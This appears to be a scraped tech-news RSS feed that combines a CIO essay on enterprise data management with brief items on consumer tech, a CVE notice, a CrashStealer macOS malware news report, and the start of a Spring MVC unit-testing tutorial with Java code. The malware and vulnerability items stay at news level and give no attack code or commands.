<li><strong>Completeness:</strong> Are any required fields missing, and are there too many missing values? For example, if customer data is missing information such as age, region or gender, it becomes difficult to perform meaningful analysis.</li>



<li><strong>Consistency:</strong> Is data with the same meaning mixed in different formats (e.g., date formats, units, variations in notation)? This is particularly important for system integration and long-term data.</li>



<li><strong>Timeliness:</strong> No matter how accurate it is, data that is too old may not be useful for decision-making. Whether real-time data is required or historical data is sufficient depends on the use case, but it is important that the data has the appropriate freshness for the purpose.</li>



<li><strong>Relevance:</strong> If there is a large amount of data unrelated to the analysis objective, it becomes noise and leads to incorrect judgments. It is necessary to clearly define what the data is used for and ensure the data is appropriate for that purpose.</li>



<li><strong>Reliability: The data’s source and collection method must be</strong> clear, ensuring reliability and reproducibility. Data with an unknown source or that is a black box cannot be verified later.</li>
</ul>



<p class="wp-block-paragraph">In summary, good data is data that is accurate, has few gaps, is consistent in meaning and notation, is collected at the appropriate time, is suitable for the purpose and comes from a reliable source.</p>



<p class="wp-block-paragraph">Only when the quality of this good data is guaranteed can AI produce valuable outputs. Conversely, introducing AI with unorganized data will not yield the expected results. Many complaints, such as “We implemented AI but it’s unusable” or “The AI’s accuracy isn’t improving stem from data issues.”</p>



<h2 class="wp-block-heading">Data does not organize itself naturally</h2>



<p class="wp-block-paragraph">The key point here is that good data does not arise naturally. On the contrary, if left unattended, data will inevitably deteriorate.</p>



<ul class="wp-block-list">
<li>Rules become inconsistent depending on who entered the data and when</li>



<li>Multiple instances of data with the same meaning exist</li>



<li>Outdated data is scattered and left unattended</li>



<li>Data becomes siloed by department</li>
</ul>



<p class="wp-block-paragraph">These conditions are likely common in many companies.</p>



<p class="wp-block-paragraph">Below is an overview of our company’s <a href="https://www.kepco.co.jp/english/corporate/list/report/">data management framework</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/overview-of-data-management-at-kansai-electric-power-company.png?w=1024" alt="Overview of data management at Kansai Electric Power Company" class="wp-image-4196318" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Akio Ueda</p></div>



<p class="wp-block-paragraph">Broadly speaking, it consists of data governance — covering roles and structures, risk management and evaluation — and data management, which encompasses data utilization cycle management and data utilization support services. Within this framework, data utilization cycle management involves:</p>



<ul class="wp-block-list">
<li><strong>Needs management:</strong> We clarify the purpose and needs by asking, “What is the data being used for?” and “For whom, and in what way, does this data create value?”</li>



<li><strong>Collection:</strong> We gather the necessary data based on the defined objectives. We design the process to determine what data is required (internal/external), the level of detail and frequency of collection, and how to ensure data quality.</li>



<li><strong>Processing: </strong>We enhance the quality and prepare the data for use. This includes cleansing (correcting errors and missing values), standardizing formats, deduplicating and integrating data, processing structured and unstructured data separately, and assigning business and operational meaning to the data.</li>



<li><strong>Storage:</strong> We ensure the data is available to the right people at the right time. This involves storing data in databases or data lakes, implementing security and access controls, and managing metadata (ensuring the data is clearly identifiable).</li>



<li><strong>Utilization:</strong> This is the most critical step. The purpose of data is not merely analysis but driving action. We generate value from the data through visualization (dashboards), analysis (statistical processing, BI, AutoML, AI) and integration into business operations (automation and decision support).</li>



<li><strong>Disposal: </strong>We properly dispose of data that is no longer needed. Simply holding data can itself pose risks, such as managing retention periods, complying with laws and governance requirements, and mitigating security risks. That is why the principle of not holding data that is not used is so important.</li>
</ul>



<p class="wp-block-paragraph">Data management is not a one-time effort; it is an ongoing initiative that requires continuous maintenance and improvement.</p>



<p class="wp-block-paragraph">The CIO must embed data management as a system within the organization and continue to implement it until it becomes firmly established.</p>



<h2 class="wp-block-heading">Data management is not just the IT department’s job</h2>



<p class="wp-block-paragraph">Another important point is that data management is not just the IT department’s job.</p>



<p class="wp-block-paragraph">Data is fundamentally generated within day-to-day operations on the front lines. Therefore:</p>



<ul class="wp-block-list">
<li>Who determines the meaning and definition of data</li>



<li>How should input rules be standardized?</li>



<li>How do we ensure data quality?</li>
</ul>



<p class="wp-block-paragraph">are, in essence, operational issues, business issues and management issues.</p>



<p class="wp-block-paragraph">The latest Digital Skills Standard ver. 2.0, published by the Ministry of Economy, Trade and Industry in April 2026, defines the following three roles within the data management category:</p>



<ul class="wp-block-list">
<li><strong>Data steward:</strong> Based on business domain knowledge, this role is responsible for operations aimed at ensuring data quality, reliability and security, as well as for promoting the adoption and establishment of data management within business divisions and frontline organizations, and for fostering data utilization. In short, they are the data quality manager and data utilization promoter.</li>



<li><strong>Data engineer: </strong>This role involves understanding the current state of data and supporting the organization’s continuous data utilization through data preparation and preprocessing in processes such as collection, integration, processing and provision, as well as the design and implementation of data pipelines. In essence, they are the implementers and operators who drive data.</li>



<li><strong>Data architect:</strong> This role involves taking a bird’s-eye view of the data structure, flow and utilization methods across the entire organization and business. By designing and continuously reviewing data architecture that encompasses the entire data lifecycle in alignment with business strategy, they ensure the successful integration of company-wide data utilization and governance—essentially serving as the overall designer of data.</li>
</ul>



<p class="wp-block-paragraph">The CIO is not merely responsible for establishing data storage and analysis infrastructure; they are also tasked with appropriately assigning personnel to these three roles within the company and establishing cross-departmental, company-wide tools and rules to connect data with management, business operations and daily tasks.</p>



<h2 class="wp-block-heading">Ultimately, the success of data utilization depends on organizational culture</h2>



<p class="wp-block-paragraph">On the other hand, no matter how much progress is made in staffing, infrastructure, tools and rulemaking, data will not be utilized unless there is an organizational culture that actively drives management, business and operations based on data.</p>



<ul class="wp-block-list">
<li>The purpose of data entry is not understood</li>



<li>Data is optimized solely for the department’s own operations</li>



<li>Decision-making based on data is not valued</li>
</ul>



<p class="wp-block-paragraph">In such a situation, no matter how well the systems are set up, they will become mere formalities.</p>



<p class="wp-block-paragraph">In contrast, in organizations where data utilization is advanced:</p>



<ul class="wp-block-list">
<li>Discussions are based on data</li>



<li>Formulate hypotheses and verify them with data</li>



<li>And continuously improve based on data</li>
</ul>



<p class="wp-block-paragraph">These actions occur naturally.</p>



<p class="wp-block-paragraph">In other words, the essence of data management ultimately lies in creating an organizational culture that assumes the effective use of data.</p>



<p class="wp-block-paragraph">Data management cannot be achieved overnight. That is precisely why it is important to start small and build on your successes.</p>



<ul class="wp-block-list">
<li>Organize data for specific tasks and achieve results through the use of AI</li>



<li>Rolling out successful practices</li>



<li>Gradually Expand the Scope</li>
</ul>



<p class="wp-block-paragraph">By repeating this cycle, the importance of data will permeate the entire organization.</p>



<h2 class="wp-block-heading">The role expected of a CIO in the AI era</h2>



<p class="wp-block-paragraph">In the AI era, the role expected of a CIO has changed significantly.</p>



<p class="wp-block-paragraph">Traditionally:</p>



<ul class="wp-block-list">
<li>Ensuring the stable operation of systems</li>



<li>And optimizing costs</li>
</ul>



<p class="wp-block-paragraph">However, moving forward:</p>



<ul class="wp-block-list">
<li>We will view data as an asset and maximize its value</li>



<li>Developing the data infrastructure, tools and rules that underpin AI adoption, and advancing personnel allocation and development</li>



<li>And fostering an organizational culture that embraces data utilization —roles that are more directly linked to business management</li>
</ul>



<p class="wp-block-paragraph">In other words, the CIO must evolve into the person responsible for creating value from data.</p>



<h2 class="wp-block-heading">Data is the source of competitive advantage</h2>



<p class="wp-block-paragraph">In the coming era, the use of AI will be a given. What will set companies apart is not whether they use AI, but what data they possess.</p>



<p class="wp-block-paragraph">Data is the accumulation of a company’s past strengths and the source of future value creation. And its quality is determined by daily operations and the nature of the organization.</p>



<ul class="wp-block-list">
<li>AI grows by being fed good data</li>



<li>And companies grow through that AI</li>
</ul>



<p class="wp-block-paragraph">Taking this simple principle as our starting point, we must place data management at the core of our business strategy. Isn’t that the shortest route to sustainable growth in the AI era?</p>



<p class="wp-block-paragraph">CIOs are called upon to lead the way in making this a reality.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[WordPress Just Launched A Brand New Apple TV App With Free Videos]]></title>
<description><![CDATA[It is not very often that a completely fresh application arrives for television screens. However, a highly popular website-building platform just made that exact leap. WordPress has officially introduced a brand new application designed specifically for the big screen.



This launch gives users ...]]></description>
<link>https://tsecurity.de/de/3667245/ios-mac-os/wordpress-just-launched-a-brand-new-apple-tv-app-with-free-videos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667245/ios-mac-os/wordpress-just-launched-a-brand-new-apple-tv-app-with-free-videos/</guid>
<pubDate>Tue, 14 Jul 2026 10:06:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It is not very often that a completely fresh application arrives for television screens. However, a highly popular website-building platform just made that exact leap. WordPress has officially introduced a brand new application designed specifically for the big screen.



This launch gives users a straightforward way to watch thousands of free videos right from the comfort of the living room couch. Anyone who wants to learn more about web design can now tune in easily.



The application streams free educational content directly to your television



The software brings the entire video catalog from the WordPress community to your television. You can easily watch past WordCamp session recordings from events that happened all over the world. It also includes helpful tutorials on design, business development, and general content creation.



Because it was built natively for Apple hardware, the interface feels completely natural to navigate. Users can browse a simple poster grid using a remote control and play high definition content without any hassle.



While premium streaming options like Apple TV+ focus on original movies and shows, this release is all about free education. New recordings get added to the platform constantly by community members. If you want to check out the library, you can download WordPress TV from the App Store right now.]]></content:encoded>
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<title><![CDATA[Google Wallet: Wie man den Schnellzugriff einrichten kann]]></title>
<description><![CDATA[In Google Wallet (ehemals Google Pay) könnt ihr eure Giro- und Kreditkarten zum kontaktlosen Bezahlen hinterlegen. So geht es.]]></description>
<link>https://tsecurity.de/de/3666906/it-nachrichten/google-wallet-wie-man-den-schnellzugriff-einrichten-kann/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666906/it-nachrichten/google-wallet-wie-man-den-schnellzugriff-einrichten-kann/</guid>
<pubDate>Tue, 14 Jul 2026 07:32:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In Google Wallet (ehemals Google Pay) könnt ihr eure Giro- und Kreditkarten zum kontaktlosen Bezahlen hinterlegen. So geht es.]]></content:encoded>
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<title><![CDATA[AI Demand Spikes Prices For iPads And Other Consumer Gadgets]]></title>
<description><![CDATA[If you are planning to buy a new tablet or gaming console soon, you might need to adjust your budget. A massive shift in the tech industry is pushing up the cost of everyday electronics. Data centers are buying up large amounts of memory chips to power new artificial intelligence software.



Thi...]]></description>
<link>https://tsecurity.de/de/3666760/ios-mac-os/ai-demand-spikes-prices-for-ipads-and-other-consumer-gadgets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666760/ios-mac-os/ai-demand-spikes-prices-for-ipads-and-other-consumer-gadgets/</guid>
<pubDate>Tue, 14 Jul 2026 05:08:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you are planning to buy a new tablet or gaming console soon, you might need to adjust your budget. A massive shift in the tech industry is pushing up the cost of everyday electronics. Data centers are buying up large amounts of memory chips to power new artificial intelligence software.



This leaves fewer components available for regular consumer devices. As a result, big brands are raising prices on everything from a standard iPad to basic laptops.



Tech brands shift memory supply away from consumer gadgets



The current market crunch comes down to basic supply and demand. Companies making memory chips are redirecting production to meet the massive needs of servers. This high-bandwidth memory is highly profitable, so manufacturers prioritize it over the standard parts used in phones and gaming systems.



Because of this shortage, a company like Apple is facing higher manufacturing costs. It has started passing these expenses directly to buyers. You will notice higher price tags on the latest MacBook models and other devices. A rival brand like Microsoft is doing the same thing to deal with its own supply squeeze.



Experts advise buying refurbished or keeping your current hardware



With prices climbing, industry watchers recommend changing how you shop for electronics. If your current phone or laptop still works well, the best move is to delay upgrading. Keeping a device for an extra year helps you avoid the current pricing spike.



When you absolutely need a replacement, experts suggest looking at the refurbished market. Buying a certified pre-owned iPhone can save you hundreds of dollars while delivering the performance you need.



You should also watch out for spec shrinkflation. To keep prices from looking too high, some brands are putting less memory in their base models. Always check the exact specifications before you buy, especially if you plan to rely on advanced AI features. Paying attention to these details will protect your wallet until the supply chain stabilizes.]]></content:encoded>
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<title><![CDATA[CVE-2026-15191 | mettle sendportal up to 3.0.1 Campaign Creation Endpoint CampaignStoreRequest.php authorization (Issue 339)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in mettle sendportal up to 3.0.1. This vulnerability affects unknown code of the file vendor/mettle/sendportal-core/src/Http/Requests/CampaignStoreRequest.php of the component Campaign Creation Endpoint. Executing a manipulation can lead t...]]></description>
<link>https://tsecurity.de/de/3666752/sicherheitsluecken/cve-2026-15191-mettle-sendportal-up-to-301-campaign-creation-endpoint-campaignstorerequestphp-authorization-issue-339/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666752/sicherheitsluecken/cve-2026-15191-mettle-sendportal-up-to-301-campaign-creation-endpoint-campaignstorerequestphp-authorization-issue-339/</guid>
<pubDate>Tue, 14 Jul 2026 05:08:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/mettle:sendportal">mettle sendportal up to 3.0.1</a>. This vulnerability affects unknown code of the file <em>vendor/mettle/sendportal-core/src/Http/Requests/CampaignStoreRequest.php</em> of the component <em>Campaign Creation Endpoint</em>. Executing a manipulation can lead to authorization bypass.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-15191">CVE-2026-15191</a>. The attack can be executed remotely. Additionally, an exploit exists.

The project was informed of the problem early through an issue report but has not responded yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[CrashStealer Malware Targets Mac Users Through Fake App Prompts]]></title>
<description><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browse...]]></description>
<link>https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</guid>
<pubDate>Tue, 14 Jul 2026 04:55:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browser data, crypto wallet credentials, and passwords saved directly on your computer.



What makes this attack especially dangerous is that the initial download actually passed security checks from Apple and received official notarization. Apple has since revoked the developer credentials, but the campaign highlights how attackers are getting better at sneaking past standard security gates.



Attackers use a fake meeting app to deliver the payload



The attack typically starts with a fake collaboration or meeting app called "Werkbit." Scammers place this download behind a specific meeting PIN, meaning they are likely targeting specific victims directly rather than blasting the link across the public internet.



Once a user downloads and opens the Werkbit app, it quietly reaches out to a remote server and downloads the actual CrashStealer malware in the background. The malware then disguises itself as "CrashReporter," a name chosen to mimic an official macOS crash reporting tool that most users would ignore.



The malware uses fake password prompts to unlock your data



Once installed on your system, CrashStealer generates a pop-up window that looks exactly like a standard Mac authorization prompt. It asks you to enter your system password to grant access for "system administration."



If you enter your password, the malware validates it immediately. It then uses your confirmed password to unlock your Mac login keychain. CrashStealer rapidly copies your saved passwords from browsers, password managers, and crypto extensions. It bundles all this data into an encrypted ZIP file and sends it back to the attackers. The malware also sets itself to run automatically every time you log in, so the threat stays active even if you restart your computer.



If you suspect you have downloaded a suspicious meeting app or entered your password into an unexpected prompt, security experts recommend disconnecting from the internet, changing all major passwords from a safe device, and completely erasing your Mac to perform a clean install.]]></content:encoded>
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<item>
<title><![CDATA[watchOS 27 Public Beta Is Now Available: Here’s How to Install It]]></title>
<description><![CDATA[Apple has released the first watchOS 27 public beta, allowing Apple Watch users to test the next major software update before its final release this fall. The update introduces Siri AI, a dynamic app grid, smarter suggestions, new gestures, and several health and fitness improvements.



The beta...]]></description>
<link>https://tsecurity.de/de/3666612/ios-mac-os/watchos-27-public-beta-is-now-available-heres-how-to-install-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666612/ios-mac-os/watchos-27-public-beta-is-now-available-heres-how-to-install-it/</guid>
<pubDate>Tue, 14 Jul 2026 02:08:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the first watchOS 27 public beta, allowing Apple Watch users to test the next major software update before its final release this fall. The update introduces Siri AI, a dynamic app grid, smarter suggestions, new gestures, and several health and fitness improvements.



The beta remains unfinished software, so users may experience shorter battery life, app crashes, connection problems, or slower performance. Apple Watch software also cannot be easily restored to an earlier public version, making installation on a primary device a greater risk.



How to Install the watchOS 27 Public Beta



Your paired iPhone must run the iOS 27 public beta before you can install watchOS 27.




Visit the Apple Beta Software Program website and sign in with your Apple Account.



Accept the program agreement and enroll your account if required.



Open the Watch app on your paired iPhone.



Tap My Watch &gt; General &gt; Software Update.



Select Beta Updates.



Choose watchOS 27 Public Beta.



Return to the Software Update page and tap Download and Install.




Keep your Apple Watch on its charger with at least 50% battery during the installation. Your paired iPhone should remain nearby and connected to Wi-Fi.



Apple Watch Models Compatible With watchOS 27



The watchOS 27 compatibility list includes:




Apple Watch Series 9



Apple Watch Series 10



Apple Watch Series 11



Apple Watch Ultra 2



Apple Watch Ultra 3



Apple Watch SE 3




Users also need an iPhone 11 or newer, or an iPhone SE 2 or later, running iOS 27.



All the Changes in watchOS 27 Public Beta




Siri AI: Siri can understand broader questions, remember the context of follow-up requests, and complete supported actions inside apps. A dedicated Siri app also lets users view and continue conversations across devices. Siri AI requires a supported Apple Watch paired with a nearby Apple Intelligence-compatible iPhone.



Dynamic app grid: Pressing the Digital Crown opens a redesigned app grid that changes based on recently used and popular apps. The Siri app remains near the centre for faster access.



Smarter Smart Stack: Smart Stack can show suggestions based on your location, schedule, habits, and recent activity. It can surface a parked car location, an airport pass, a conversation to continue, or a reminder to adjust an alarm before a holiday.



New one-handed tap gesture: Users can double tap to move through Smart Stack widgets, tap their index finger and thumb once to select the highlighted item, and use a wrist flick to return to the watch face.



Improved Workout Buddy: Workout Buddy provides more useful coaching based on long-term changes in distance, pace, and workout duration. It can also work without keeping the paired iPhone in your pocket during supported workouts.



Better treadmill tracking: Updated machine-learning models improve treadmill distance estimates from the beginning of a workout. Step totals recorded in the Fitness and Health apps also sync more consistently.



Cycle Tracking updates: Users aged 40 and older can receive notifications when logged patterns suggest possible signs of perimenopause. The app also includes additional symptom logging and educational information.



Redesigned Find My app: A single map-based Find My app replaces separate interfaces for finding people, devices, and items. Precision Finding supports compatible iPhones, AirTags, and AirPods models.



Wallet improvements: Custom passes created on an iPhone appear in Wallet on Apple Watch. Frequently used passes can also be pinned to Smart Stack.



Battery-saving suggestions: The system can recommend turning off features that users rarely activate, including Raise to Speak, workout reminders, or certain gestures. Each feature can be enabled again through Settings.



Apple Watch For Your Kids controls: Parents receive redesigned Screen Time options, app schedules, and controls for approved contacts.




Apple will continue releasing watchOS 27 public beta updates throughout the summer before the final version arrives this fall. If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Wallet App: Paypal stellt seine App komplett um]]></title>
<description><![CDATA[Paypal-Nutzer in Deutschland müssen sich an eine komplett neue Menüführung gewöhnen. Der Rauswurf aus dem Google-Wallet fordert Geduld bei Paypal-Anwendern. (Paypal, Smartphone)]]></description>
<link>https://tsecurity.de/de/3666259/it-nachrichten/google-wallet-app-paypal-stellt-seine-app-komplett-um/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666259/it-nachrichten/google-wallet-app-paypal-stellt-seine-app-komplett-um/</guid>
<pubDate>Mon, 13 Jul 2026 21:32:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Paypal-Nutzer in Deutschland müssen sich an eine komplett neue Menüführung gewöhnen. Der Rauswurf aus dem Google-Wallet fordert Geduld bei Paypal-Anwendern. (<a href="https://www.golem.de/specials/paypal/">Paypal</a>, <a href="https://www.golem.de/specials/smartphone/">Smartphone</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210826&amp;page=1&amp;ts=1783970702" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Unit testing Spring MVC applications with JUnit 5]]></title>
<description><![CDATA[Spring is a reliable and popular framework for building web and enterprise Java applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from JUnit 5 and Spring to mock each component’s dependencies. In addition to unit test...]]></description>
<link>https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a> is a reliable and popular framework for building web and enterprise <a href="https://www.infoworld.com/java/">Java</a> applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">JUnit 5</a> and Spring to mock each component’s dependencies. In addition to unit testing with MockMvc, Mockito, and Spring’s <code>TestEntityManager</code>, I’ll also briefly introduce slice testing using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations, used to optimize unit tests on web controllers and databases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">How to test your Java applications with JUnit 5</a>.</strong></p>



<h2 class="wp-block-heading">Overview of testing Spring MVC applications</h2>



<p class="wp-block-paragraph">Spring MVC applications are defined using three technology layers:</p>



<ul class="wp-block-list">
<li><em>Controllers</em> accept web requests and return web responses.</li>



<li><em>Services</em> implement the application’s business logic.</li>



<li><em>Repositories</em> persist data to and from your back-end <a href="https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html">SQL</a> or <a href="https://www.infoworld.com/article/2260280/what-is-nosql-databases-for-a-cloud-scale-future.html">NoSQL</a> database.</li>
</ul>



<p class="wp-block-paragraph">When we unit test Spring MVC applications, we test each layer separately from the others. We create mock implementations, typically using <a href="https://site.mockito.org/">Mockito</a>, for each layer’s dependencies, then we simulate the logic we want to test. For example, a controller may call a service to retrieve a list of objects. When testing the controller, we create a mock service that either returns the list of objects, returns an empty list, or throws an exception. This test ensures the controller behaves correctly.</p>



<p class="wp-block-paragraph">We’ll use Spring MVC to build and test a simple web service that manages widgets. The structure of the web service is shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig1.png?w=1024" alt="Diagram of a Spring MVC web service application." class="wp-image-4078126" width="1024" height="286" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">This is a classic MVC pattern. We have a <em>widget controller</em> that handles <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful requests</a> and delegates its business functionality to a <em>widget service</em>, which uses a <em>widget repository</em> to persist widgets to and from an in-memory H2 database.</p>



<p class="wp-block-paragraph"><strong>Get the source: <a href="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip" data-type="link" data-id="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip">Download the source code for this article</a>.</strong></p>



<h2 class="wp-block-heading">Unit testing a Spring MVC controller with MockMvc</h2>



<p class="wp-block-paragraph">Setting up a Spring MVC controller test is a two-step process:</p>



<ul class="wp-block-list">
<li>Annotate your test class with <code>@WebMvcTest</code>.</li>



<li>Autowire a <code>MockMvc</code> instance into your controller.</li>
</ul>



<p class="wp-block-paragraph">We could annotate all our test classes with <code>@SpringBootTest</code>, but we’ll use <code>@WebMvcTest</code> instead. The reason is that the <code>@WebMvcTest</code> annotation is used for <em>slice testing</em>. Whereas <code>@SpringBootTest</code> loads your entire Spring application context, <code>@WebMvcTest</code> loads only your web-related resources. Furthermore, if you specify a controller class in the annotation, it will only load the specific controller you want to test. Testing a single “slice” of your application reduces both the amount of compute resources required to set up the test and the time required to run a test.</p>



<p class="wp-block-paragraph">For example, when we test a controller, we’ll mock just the services it uses, and we won’t need any repositories at all. If we don’t need them, then we needn’t waste time loading them. Slice tests were created to make tests perform better and run faster.</p>



<p class="wp-block-paragraph">Here’s the source code for the <code>Widget</code> class we’ll be managing:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.model;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.GenerationType;
import jakarta.persistence.Id;

@Entity
public class Widget {
    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    private String name;
    private int version;

    public Widget() {
    }

    public Widget(String name) {
        this.name = name;
    }

    public Widget(String name, int version) {
        this.name = name;
        this.version = version;
    }

    public Widget(Long id, String name, int version) {
        this.id = id;
        this.name = name;
        this.version = version;
    }

    public Long getId() {
        return id;
    }

    public void setId(Long id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getVersion() {
        return version;
    }

    public void setVersion(int version) {
        this.version = version;
    }
}</code></pre>



<p class="wp-block-paragraph">A <code>Widget</code> is a <a href="https://www.infoworld.com/article/2259807/what-is-jpa-introduction-to-the-java-persistence-api.html">JPA entity</a> that manages three fields:</p>



<ul class="wp-block-list">
<li><em>id</em> is the primary key of the table, annotated with <code>@Id</code> and <code>@GeneratedValue</code>, with an automatic generation strategy.</li>



<li><em>name</em> is the name of the widget.</li>



<li><em>version</em> is the version of the widget resource. We’ll use this value to populate our <code>eTag</code> value and check it in our <code>PUT</code> operation’s <code>If-Match </code>header value. This ensures the widget being updated is not stale.</li>
</ul>



<p class="wp-block-paragraph">Here’s the source code for the controller we’ll be testing (<code>WidgetController.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.Optional;
import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.service.WidgetService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class WidgetController {
    @Autowired
    private WidgetService widgetService;
    @GetMapping("/widget/{id}")
    public ResponseEntity getWidget(@PathVariable Long id) {
        return widgetService.findById(id)
                .map(widget -&gt; {
                    try {
                        return ResponseEntity
                                .ok()
                                .location(new URI("/widget/" + id))
                                .eTag(Integer.toString(
                                               widget.getVersion()))
                                .body(widget);
                    } catch (URISyntaxException e) {
                        return ResponseEntity
                          .status(HttpStatus.INTERNAL_SERVER_ERROR)
                          .build();
                    }
                })
                .orElse(ResponseEntity.notFound().build());
    }
    @GetMapping("/widgets")
    public List getWidgets() {
        return widgetService.findAll();
    }
    @PostMapping("/widgets")
    public ResponseEntity createWidget(@RequestBody Widget widget)
    {
        Widget newWidget = widgetService.create(widget);
        try {
           return ResponseEntity
                   .created(new URI("/widget/" + newWidget.getId()))
                   .eTag(Integer.toString(newWidget.getVersion()))
                   .body(newWidget);
        } catch (URISyntaxException e) {
            return ResponseEntity
                    .status(HttpStatus.INTERNAL_SERVER_ERROR)
                    .build();
        }
    }

    @PutMapping("/widget/{id}")
    public ResponseEntity updateWidget(@PathVariable Long id,
                                          @RequestBody Widget widget,
                         @RequestHeader("If-Match") Integer ifMatch) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
            if (w.getVersion() != ifMatch) {
                return ResponseEntity.status(HttpStatus.CONFLICT)
                                     .build();
            }

            w.setName(widget.getName());
            w.setVersion(w.getVersion() + 1);

            Widget updatedWidget = widgetService.save(w);
            try {
                return ResponseEntity.ok()
                        .location(new URI("/widget/" + 
                                      updatedWidget.getId()))
                        .eTag(Integer.toString(
                                      updatedWidget.getVersion()))
                        .body(updatedWidget);
            } catch (URISyntaxException e) {
                throw new RuntimeException(e);
            }
        }).orElse(ResponseEntity.notFound().build());
    }

    @DeleteMapping("widget/{id}")
    public ResponseEntity deleteWidget(@PathVariable Long id) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
           widgetService.deleteById(w.getId());
           return ResponseEntity.ok().build();
        }).orElse(ResponseEntity.notFound().build());
    }
}</code></pre>



